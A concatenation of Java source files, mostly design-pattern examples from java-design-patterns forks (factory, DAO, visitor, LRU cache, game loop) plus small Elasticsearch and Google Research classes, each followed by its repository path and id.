/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.factory; /** * CopperCoin implementation. */ public class CopperCoin implements Coin { static final String DESCRIPTION = "This is a copper coin."; @Override public String getDescription() { return DESCRIPTION; } }
smedals/java-design-patterns
factory/src/main/java/com/iluwatar/factory/CopperCoin.java
41,308
/* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License * 2.0 and the Server Side Public License, v 1; you may not use this file except * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ package org.elasticsearch.common; import java.lang.reflect.Modifier; public class Classes { public static boolean isInnerClass(Class<?> clazz) { return Modifier.isStatic(clazz.getModifiers()) == false && clazz.getEnclosingClass() != null; } public static boolean isConcrete(Class<?> clazz) { int modifiers = clazz.getModifiers(); return clazz.isInterface() == false && Modifier.isAbstract(modifiers) == false; } private Classes() {} }
elastic/elasticsearch
server/src/main/java/org/elasticsearch/common/Classes.java
41,314
import java.text.DecimalFormat; import java.util.Random; interface Debuggable { static DecimalFormat DF6 = new DecimalFormat("#0.000000"); static DecimalFormat DF8 = new DecimalFormat("#0.00000000"); static DecimalFormat DF = new DecimalFormat("#0.0000"); static DecimalFormat DF0 = new DecimalFormat("#0.00"); static DecimalFormat DF1 = new DecimalFormat("#0.0"); static boolean Debug = false; // variables used to optimize a bit space + time static boolean SAVE_MEMORY = true; static double EPS = 1E-4; static double EPS2 = 1E-5; static double EPS3 = 1E-10; public static int NUMBER_STRATIFIED_CV = 10; public static double TOO_BIG_RATIO = 100.0; public static double INITIAL_FAN_ANGLE = Math.PI; public static double GRANDCHILD_FAN_RATIO = 0.8; public static boolean SAVE_PARAMETERS_DURING_TRAINING = true; public static boolean SAVE_CLASSIFIERS = true; }
google-research/google-research
tempered_boosting/Misc.java
41,317
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.dao; import java.util.Optional; import java.util.stream.Stream; /** * In an application the Data Access Object (DAO) is a part of Data access layer. It is an object * that provides an interface to some type of persistence mechanism. By mapping application calls to * the persistence layer, DAO provides some specific data operations without exposing details of the * database. This isolation supports the Single responsibility principle. It separates what data * accesses the application needs, in terms of domain-specific objects and data types (the public * interface of the DAO), from how these needs can be satisfied with a specific DBMS, database * schema, etc. * * <p>Any change in the way data is stored and retrieved will not change the client code as the * client will be using interface and need not worry about exact source. * * @see InMemoryCustomerDao * @see DbCustomerDao */ public interface CustomerDao { /** * Get all customers. * * @return all the customers as a stream. The stream may be lazily or eagerly evaluated based on * the implementation. The stream must be closed after use. * @throws Exception if any error occurs. */ Stream<Customer> getAll() throws Exception; /** * Get customer as Optional by id. * * @param id unique identifier of the customer. * @return an optional with customer if a customer with unique identifier <code>id</code> exists, * empty optional otherwise. * @throws Exception if any error occurs. */ Optional<Customer> getById(int id) throws Exception; /** * Add a customer. * * @param customer the customer to be added. * @return true if customer is successfully added, false if customer already exists. * @throws Exception if any error occurs. */ boolean add(Customer customer) throws Exception; /** * Update a customer. * * @param customer the customer to be updated. * @return true if customer exists and is successfully updated, false otherwise. * @throws Exception if any error occurs. */ boolean update(Customer customer) throws Exception; /** * Delete a customer. * * @param customer the customer to be deleted. * @return true if customer exists and is successfully deleted, false otherwise. * @throws Exception if any error occurs. */ boolean delete(Customer customer) throws Exception; }
smedals/java-design-patterns
dao/src/main/java/com/iluwatar/dao/CustomerDao.java
41,324
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.visitor; /** * Commander. */ public class Commander extends Unit { public Commander(Unit... children) { super(children); } /** * Accept a Visitor. * @param visitor UnitVisitor to be accepted */ @Override public void accept(UnitVisitor visitor) { visitor.visit(this); super.accept(visitor); } @Override public String toString() { return "commander"; } }
smedals/java-design-patterns
visitor/src/main/java/com/iluwatar/visitor/Commander.java
41,330
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package units; import abstractextensions.UnitExtension; import concreteextensions.Commander; import java.util.Optional; /** * Class defining CommanderUnit. */ public class CommanderUnit extends Unit { public CommanderUnit(String name) { super(name); } @Override public UnitExtension getUnitExtension(String extensionName) { if (extensionName.equals("CommanderExtension")) { return Optional.ofNullable(unitExtension).orElseGet(() -> new Commander(this)); } return super.getUnitExtension(extensionName); } }
smedals/java-design-patterns
extension-objects/src/main/java/units/CommanderUnit.java
41,331
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.component; import com.iluwatar.component.component.graphiccomponent.GraphicComponent; import com.iluwatar.component.component.graphiccomponent.ObjectGraphicComponent; import com.iluwatar.component.component.inputcomponent.DemoInputComponent; import com.iluwatar.component.component.inputcomponent.InputComponent; import com.iluwatar.component.component.inputcomponent.PlayerInputComponent; import com.iluwatar.component.component.physiccomponent.ObjectPhysicComponent; import com.iluwatar.component.component.physiccomponent.PhysicComponent; import lombok.Getter; import lombok.RequiredArgsConstructor; /** * The GameObject class has three component class instances that allow * the creation of different game objects based on the game design requirements. */ @Getter @RequiredArgsConstructor public class GameObject { private final InputComponent inputComponent; private final PhysicComponent physicComponent; private final GraphicComponent graphicComponent; private final String name; private int velocity = 0; private int coordinate = 0; /** * Creates a player game object. * * @return player object */ public static GameObject createPlayer() { return new GameObject(new PlayerInputComponent(), new ObjectPhysicComponent(), new ObjectGraphicComponent(), "player"); } /** * Creates a NPC game object. * * @return npc object */ public static GameObject createNpc() { return new GameObject( new DemoInputComponent(), new ObjectPhysicComponent(), new ObjectGraphicComponent(), "npc"); } /** * Updates the three components of the NPC object used in the demo in App.java * note that this is simply a duplicate of update() without the key event for * demonstration purposes. * * <p>This method is usually used in games if the player becomes inactive. */ public void demoUpdate() { inputComponent.update(this, 0); physicComponent.update(this); graphicComponent.update(this); } /** * Updates the three components for objects based on key events. * * @param e key event from the player. */ public void update(int e) { inputComponent.update(this, e); physicComponent.update(this); graphicComponent.update(this); } /** * Update the velocity based on the acceleration of the GameObject. * * @param acceleration the acceleration of the GameObject */ public void updateVelocity(int acceleration) { this.velocity += acceleration; } /** * Set the c based on the current velocity. */ public void updateCoordinate() { this.coordinate += this.velocity; } }
rajprins/java-design-patterns
component/src/main/java/com/iluwatar/component/GameObject.java
41,335
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.commander; import java.security.SecureRandom; import java.util.HashMap; import java.util.Map; /** * Order class holds details of the order. */ public class Order { //can store all transactions ids also enum PaymentStatus { NOT_DONE, TRYING, DONE } enum MessageSent { NONE_SENT, PAYMENT_FAIL, PAYMENT_TRYING, PAYMENT_SUCCESSFUL } final User user; final String item; public final String id; final float price; final long createdTime; private static final SecureRandom RANDOM = new SecureRandom(); private static final String ALL_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; private static final Map<String, Boolean> USED_IDS = new HashMap<>(); PaymentStatus paid; MessageSent messageSent; //to avoid sending error msg on page and text more than once boolean addedToEmployeeHandle; //to avoid creating more to enqueue Order(User user, String item, float price) { this.createdTime = System.currentTimeMillis(); this.user = user; this.item = item; this.price = price; String id = createUniqueId(); if (USED_IDS.get(id) != null) { while (USED_IDS.get(id)) { id = createUniqueId(); } } this.id = id; USED_IDS.put(this.id, true); this.paid = PaymentStatus.TRYING; this.messageSent = MessageSent.NONE_SENT; this.addedToEmployeeHandle = false; } private String createUniqueId() { StringBuilder random = new StringBuilder(); while (random.length() < 12) { // length of the random string. int index = (int) (RANDOM.nextFloat() * ALL_CHARS.length()); random.append(ALL_CHARS.charAt(index)); } return random.toString(); } }
smedals/java-design-patterns
commander/src/main/java/com/iluwatar/commander/Order.java
41,336
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.fanout.fanin; import java.util.concurrent.atomic.AtomicLong; import lombok.Getter; /** * Consumer or callback class that will be called every time a request is complete This will * aggregate individual result to form a final result. */ @Getter public class Consumer { private final AtomicLong sumOfSquaredNumbers; Consumer(Long init) { sumOfSquaredNumbers = new AtomicLong(init); } public Long add(final Long num) { return sumOfSquaredNumbers.addAndGet(num); } }
rajprins/java-design-patterns
fanout-fanin/src/main/java/com/iluwatar/fanout/fanin/Consumer.java
41,337
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.dao; import java.io.Serial; /** * Custom exception. */ public class CustomException extends Exception { @Serial private static final long serialVersionUID = 1L; public CustomException(String message, Throwable cause) { super(message, cause); } }
rajprins/java-design-patterns
dao/src/main/java/com/iluwatar/dao/CustomException.java
41,338
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.caching; import lombok.AllArgsConstructor; import lombok.Data; import lombok.EqualsAndHashCode; import lombok.ToString; /** * Entity class (stored in cache and DB) used in the application. */ @Data @AllArgsConstructor @ToString @EqualsAndHashCode public class UserAccount { /** * User Id. */ private String userId; /** * User Name. */ private String userName; /** * Additional Info. */ private String additionalInfo; }
smedals/java-design-patterns
caching/src/main/java/com/iluwatar/caching/UserAccount.java
41,341
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.composite; import java.util.List; /** * Messenger. */ public class Messenger { LetterComposite messageFromOrcs() { var words = List.of( new Word('W', 'h', 'e', 'r', 'e'), new Word('t', 'h', 'e', 'r', 'e'), new Word('i', 's'), new Word('a'), new Word('w', 'h', 'i', 'p'), new Word('t', 'h', 'e', 'r', 'e'), new Word('i', 's'), new Word('a'), new Word('w', 'a', 'y') ); return new Sentence(words); } LetterComposite messageFromElves() { var words = List.of( new Word('M', 'u', 'c', 'h'), new Word('w', 'i', 'n', 'd'), new Word('p', 'o', 'u', 'r', 's'), new Word('f', 'r', 'o', 'm'), new Word('y', 'o', 'u', 'r'), new Word('m', 'o', 'u', 't', 'h') ); return new Sentence(words); } }
smedals/java-design-patterns
composite/src/main/java/com/iluwatar/composite/Messenger.java
41,343
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.caching; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import lombok.extern.slf4j.Slf4j; /** * Data structure/implementation of the application's cache. The data structure * consists of a hash table attached with a doubly linked-list. The linked-list * helps in capturing and maintaining the LRU data in the cache. When a data is * queried (from the cache), added (to the cache), or updated, the data is * moved to the front of the list to depict itself as the most-recently-used * data. The LRU data is always at the end of the list. */ @Slf4j public class LruCache { /** * Static class Node. */ static class Node { /** * user id. */ private final String userId; /** * User Account. */ private UserAccount userAccount; /** * previous. */ private Node previous; /** * next. */ private Node next; /** * Node definition. * * @param id String * @param account {@link UserAccount} */ Node(final String id, final UserAccount account) { this.userId = id; this.userAccount = account; } } /** * Capacity of Cache. */ private int capacity; /** * Cache {@link HashMap}. */ private Map<String, Node> cache = new HashMap<>(); /** * Head. */ private Node head; /** * End. */ private Node end; /** * Constructor. * * @param cap Integer. */ public LruCache(final int cap) { this.capacity = cap; } /** * Get user account. * * @param userId String * @return {@link UserAccount} */ public UserAccount get(final String userId) { if (cache.containsKey(userId)) { var node = cache.get(userId); remove(node); setHead(node); return node.userAccount; } return null; } /** * Remove node from linked list. * * @param node {@link Node} */ public void remove(final Node node) { if (node.previous != null) { node.previous.next = node.next; } else { head = node.next; } if (node.next != null) { node.next.previous = node.previous; } else { end = node.previous; } } /** * Move node to the front of the list. * * @param node {@link Node} */ public void setHead(final Node node) { node.next = head; node.previous = null; if (head != null) { head.previous = node; } head = node; if (end == null) { end = head; } } /** * Set user account. * * @param userAccount {@link UserAccount} * @param userId {@link String} */ public void set(final String userId, final UserAccount userAccount) { if (cache.containsKey(userId)) { var old = cache.get(userId); old.userAccount = userAccount; remove(old); setHead(old); } else { var newNode = new Node(userId, userAccount); if (cache.size() >= capacity) { LOGGER.info("# Cache is FULL! Removing {} from cache...", end.userId); cache.remove(end.userId); // remove LRU data from cache. remove(end); setHead(newNode); } else { setHead(newNode); } cache.put(userId, newNode); } } /** * Check if Cache contains the userId. * * @param userId {@link String} * @return boolean */ public boolean contains(final String userId) { return cache.containsKey(userId); } /** * Invalidate cache for user. * * @param userId {@link String} */ public void invalidate(final String userId) { var toBeRemoved = cache.remove(userId); if (toBeRemoved != null) { LOGGER.info("# {} has been updated! " + "Removing older version from cache...", userId); remove(toBeRemoved); } } /** * Check if the cache is full. * @return boolean */ public boolean isFull() { return cache.size() >= capacity; } /** * Get LRU data. * * @return {@link UserAccount} */ public UserAccount getLruData() { return end.userAccount; } /** * Clear cache. */ public void clear() { head = null; end = null; cache.clear(); } /** * Returns cache data in list form. * * @return {@link List} */ public List<UserAccount> getCacheDataInListForm() { var listOfCacheData = new ArrayList<UserAccount>(); var temp = head; while (temp != null) { listOfCacheData.add(temp.userAccount); temp = temp.next; } return listOfCacheData; } /** * Set cache capacity. * * @param newCapacity int */ public void setCapacity(final int newCapacity) { if (capacity > newCapacity) { // Behavior can be modified to accommodate // for decrease in cache size. For now, we'll clear(); // just clear the cache. } else { this.capacity = newCapacity; } } }
smedals/java-design-patterns
caching/src/main/java/com/iluwatar/caching/LruCache.java
41,344
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.twin; import lombok.Setter; import lombok.extern.slf4j.Slf4j; /** * This class represents a Ball which extends {@link GameItem} and implements the logic for ball * item, like move and draw. It hold a reference of {@link BallThread} to delegate the suspend and * resume task. */ @Slf4j public class BallItem extends GameItem { private boolean isSuspended; @Setter private BallThread twin; @Override public void doDraw() { LOGGER.info("doDraw"); } public void move() { LOGGER.info("move"); } @Override public void click() { isSuspended = !isSuspended; if (isSuspended) { twin.suspendMe(); } else { twin.resumeMe(); } } }
smedals/java-design-patterns
twin/src/main/java/com/iluwatar/twin/BallItem.java
41,345
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.gameloop; import java.security.SecureRandom; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * Abstract class for GameLoop implementation class. */ public abstract class GameLoop { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); protected volatile GameStatus status; protected final GameController controller; /** * Initialize game status to be stopped. */ protected GameLoop() { controller = new GameController(); status = GameStatus.STOPPED; } /** * Run game loop. */ public void run() { status = GameStatus.RUNNING; Thread gameThread = new Thread(this::processGameLoop); gameThread.start(); } /** * Stop game loop. */ public void stop() { status = GameStatus.STOPPED; } /** * Check if game is running or not. * * @return {@code true} if the game is running. */ public boolean isGameRunning() { return status == GameStatus.RUNNING; } /** * Handle any user input that has happened since the last call. In order to * simulate the situation in real-life game, here we add a random time lag. * The time lag ranges from 50 ms to 250 ms. */ protected void processInput() { try { var lag = new SecureRandom().nextInt(200) + 50; Thread.sleep(lag); } catch (InterruptedException e) { logger.error(e.getMessage()); /* Clean up whatever needs to be handled before interrupting */ Thread.currentThread().interrupt(); } } /** * Render game frames to screen. Here we print bullet position to simulate * this process. */ protected void render() { var position = controller.getBulletPosition(); logger.info("Current bullet position: {}", position); } /** * execute game loop logic. */ protected abstract void processGameLoop(); }
rajprins/java-design-patterns
game-loop/src/main/java/com/iluwatar/gameloop/GameLoop.java
41,348
